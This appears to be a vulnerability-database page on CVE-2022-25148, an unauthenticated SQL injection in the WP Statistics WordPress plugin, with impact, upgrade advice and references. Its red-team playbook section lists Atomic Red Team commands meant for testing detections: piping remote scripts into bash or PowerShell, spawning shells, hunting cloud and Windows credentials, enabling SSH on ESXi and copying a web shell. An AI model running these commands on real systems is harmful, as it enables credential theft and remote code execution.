CVE-2022-25148
Overview
This vulnerability is a SQL Injection flaw caused by improper sanitization and lack of parameterization of the current_page_id parameter within the WP Statistics WordPress plugin. The affected component is the hits tracking functionality implemented in the includes/class-wp-statistics-hits.php file. Insufficient escaping of user-supplied input allows direct injection of SQL commands into database queries.
Vulnerability Description
The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the current_page_id parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary SQL queries against the plugin's database, potentially extracting sensitive data such as user information or configuration details. No authentication or user interaction is required, and the attack can be performed remotely over the network. This may lead to data breaches and compromise of the WordPress installation's confidentiality, integrity, and availability, as reflected by the CVSS vector indicating high impact on confidentiality, integrity, and availability with no privileges required.
Solution
Users should upgrade WP Statistics to a version later than 13.1.5 where the vulnerability has been addressed. The Wordfence advisory and WordPress plugin repository changelogs provide detailed patch information and confirm that the fix involves proper escaping and parameterization of the current_page_id parameter. Refer to https://www.wordfence.com/vulnerability-advisories/#CVE-2022-25148 and the WordPress plugin changeset for precise update instructions and verification of the applied fix.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the WP Statistics WordPress plugin arises from an SQL Injection flaw due to inadequate escaping and parameterization of the current_page_id parameter. This weakness is located in the class-wp-statistics-hits.php file, which is integral to the plugin's functionality. Attackers can exploit this vulnerability by sending specially crafted requests that manipulate the SQL queries executed by the plugin. Since the flaw permits the injection of arbitrary SQL queries, it can lead to unauthorized access to the underlying database, potentially exposing sensitive information such as user data, site configurations, and other critical assets.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting the plugin's web interface. An attacker could craft a malicious URL that includes a manipulated current_page_id parameter, which the plugin processes without proper validation. This could be executed by an unauthenticated user, making it particularly dangerous as it does not require any special access or credentials. Scenarios may include an attacker using automated scripts to scan for vulnerable installations of the plugin, or targeting specific websites known to utilize WP Statistics. Once the attacker successfully injects SQL commands, they could retrieve data from the database, modify records, or even execute administrative functions, depending on the privileges associated with the database user.
The real-world impact of this vulnerability is significant, especially for businesses relying on WordPress for their online presence. The potential for data breaches can lead to severe repercussions, including loss of customer trust, legal liabilities, and financial losses. Organizations may face regulatory scrutiny if sensitive user information is compromised, particularly under data protection laws such as GDPR or CCPA. Additionally, the operational disruption caused by a successful attack could hinder business continuity, leading to further financial implications. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it poses a serious threat to the security posture of affected installations.
To detect and mitigate the risks associated with this SQL Injection vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments are essential to identify and remediate weaknesses in web applications. Employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. Furthermore, updating the WP Statistics plugin to the latest version, which addresses this vulnerability, is crucial. Organizations should also adopt secure coding practices, including proper input validation and parameterized queries, to prevent similar vulnerabilities in the future. Educating developers and administrators about secure coding techniques and the importance of maintaining up-to-date software can significantly reduce the risk of exploitation.
In conclusion, the SQL Injection vulnerability in the WP Statistics plugin represents a critical risk to WordPress installations, enabling attackers to manipulate database queries and access sensitive information. The ease of exploitation, combined with the potential for severe business impact, necessitates immediate attention from website administrators and security professionals. By implementing robust detection and mitigation strategies, organizations can protect themselves against this and similar vulnerabilities, thereby enhancing their overall security posture in an increasingly hostile digital landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Veronalabs | Wp Statistics | All |
cpe:2.3:a:veronalabs:wp_statistics:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| WP Statistics Plugin 13.1.5 current_page_id - Time based SQL injection (Unauthenticated) | psychoSherlock | webapps | php | - | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-25148 |
| gist.github.com |
GitHub CVE
|
https://gist.github.com/Xib3rR4dAr/5dbd58b7f57a5037fe461fba8e696042 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/vulnerability-advisories/#CVE-2022-25148 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2679983%40wp-statistics&new=2679983%40wp-statistics&sfp_email=&sfph_mail= |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/174482/WordPress-WP-Statistics-13.1.5-SQL-Injection.html |